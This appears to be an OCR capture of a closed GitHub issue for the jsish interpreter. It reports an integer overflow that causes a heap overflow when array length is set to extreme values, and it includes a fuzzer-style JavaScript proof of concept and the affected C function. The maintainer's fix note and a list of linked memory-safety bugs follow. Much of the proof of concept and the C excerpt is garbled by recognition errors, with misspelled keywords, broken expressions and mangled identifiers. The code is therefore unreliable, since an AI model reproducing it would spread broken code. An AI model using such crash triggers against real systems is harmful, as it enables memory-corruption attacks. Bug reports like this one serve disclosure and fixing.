Jump to bottom

integer overflow and buffer overflow #5

New issue

⊙ Closed rain6851 opened this issue on Apr 13, 2020 · 1 comment

```
rain6851 commented on Apr 13, 2020
Enviroment
   operating system: ubuntu18.04
   compile command: ./configure && make test command: ./jsish poc1
poc:
         1,
   o.length = -9007199254740991;
  o.length = -9007199254740991;
o, 90040991;
van ExBs = new RegExp('>11Pq4Q-R$!');
ExBs = o.reverse();
van 2aCp = o.unshift(o.length, o, ExBs.lastIndex, o);
o.length = o.length != o;
o = zaCp.toExponential(o.length);
van FfVD = new RegExp('@0sH');
SND schoinfiel('/2-erViscal');
   JSON.stringify('/Z-s#YisGL');
   o = o.constructor();

FFYD.lastIndex = -1 <= -2147483647;

o.length = 1e+81 == FFYD.lastIndex;

var yfSi = new Map([
                o.length,
ExBs.lastIndex
                ExBs,
                 -Infinity,
                -Infinity
    var Hjwz = new Map([
          [],
                o,
-1
   var QkwQ = new RegExp('GBY');
var dPft = new Map([
         -2147483648,
                FfYD.lastIndex.
                FfYD,
3037000498,
                 ExBs.length,
                 FfYD,
                 2147483649
         ],
                 FfYD.lastIndex,
                 -9007199254740994
   var fjNQ = o.indexOf(0.2, function () {
});
   });
var a = Object.keys(o);
var TdaH = new RegExp('#8CHy=U2|.xg^{;xO');
var APSB = -9007199254740990 != a.length;
    var BYaK = new Float32Array([
        yfSi,
4,
-4294967295,
          FfYD.
          zaCp
   ]);
var wCMe = new WeakSet([]);
```

vulnerability description:

```
int dsi_objArraysize#[Jsi_Interp =interp, Jsi_Obj =obj, wint len)

{
    int siz = len + 1, mod = ALLOC_MOD_SIZE;
    assert(obj-sizerrist);
    if (mod=1)
        insiz = nsiz + (inod-1) = [msiz = mod - 1][mod];

    if (miz = MAX_ARRAY_IST) {
        Jsi_Logtror("array size too large");
        return 0;

        }

    if (len >= obj->arrMaxSize) {
        int oldsz = (msiz-obj->arrMaxSize);
        obj->arr(size = msiz);
        obj->arrMaxSize = msiz;
    }

    if (len >= obj->arrMaxSize = msiz;
    if (len >= obj->arrMaxSize = msiz;
    if (len >= obj->arrCnt)
    obj->arrCnt = len;
    return msiz;
}
```

In src/jsiObj.c:428, 1en is the length of the Array, and the PoC is initially set to a maximum value by o.length. After the calculation of the code, nsiz is calculated as a negative number, which can

obj-> arr will get a smaller size of heap space, and then memset assigns a value to the space pointed to by obj-> arr + obj-> arrMaxSize, but this time has exceeded the actual heap range of obj-> arr, causing heap overflow.

 $\slash\hspace{-0.6em} \slash\hspace{-0.6em}$ $\slash\hspace{-0.6em}$ pushed a commit that referenced this issue on Apr 13, 2020

858da53

pcmacdon commented on Apr 13, 2020

As of the previous commit the above reported bug is no longer reproducible.

However, have reworked code to use uint and avoid the problem, and also to use interp->maxArrayList instead of MAX_ARRAY_LIST.

pcmacdon closed this as completed on Apr 13, 2020

This was referenced on Apr 13, 2020

integer overflow and buffer overflow #6

⊙ Closed

buffer overflow #7

⊘Closed

integer overflow and buffer overflow #8

⊙ Closed

integer overflow and buffer overflow #9

☐ This was referenced on May 11, 2020

Illegal memory dereference in isFiniteCmd #12

⊙ Closed

Null pointer dereference in url_encode #13

⊙ Closed

Illegal memory dereference #14

⊙ Closed

다	This was referenced on Oct 20, 2020	
	stack-overflow in glibc regcomp #22	
	(O) Open	
	have your offere for a big Objection and Golden water	
	heap-use-after-free at Jsi_ObjFree src/jsiObj.c:333 #23	
	(⊙Closed)	
	heap-buffer-overflow at Jsi_DSAppendLen src/jsiDString.c:109 #24	
	⊙ closed	
	heap-use-after-free at jsi_ArrayReduceSubCmd src/jsiArray.c:620 #25	
	(⊙Closed)	
	heap-use-after-free at DeleteTreeValue src/jsiObj.c:170 #26	
	(⊙Closed)	
	heap-buffer-overflow at Jsi_DSAppendLen src/jsiDString.c:109 #28	
	(⊙Closed)	
	heap-buffer-overflow at jsi_utf_tocase src/jsiString.c:396 #29	
	(⊙ Closed)	
다	This was referenced on Oct 31, 2020	
	SEGV at Jsi_TreeObjGetValue src/jsiObj.c:11 #30	
	(⊙Closed)	
	heap-buffer-overflow at Jsi_DSAppendLen src/jsiDString.c:109 #31	
	© Closed	
	(October)	
	heap-buffer-overflow at jsi_utf_tocase src/jsiString.c:396 #32	
	(⊙Closed)	
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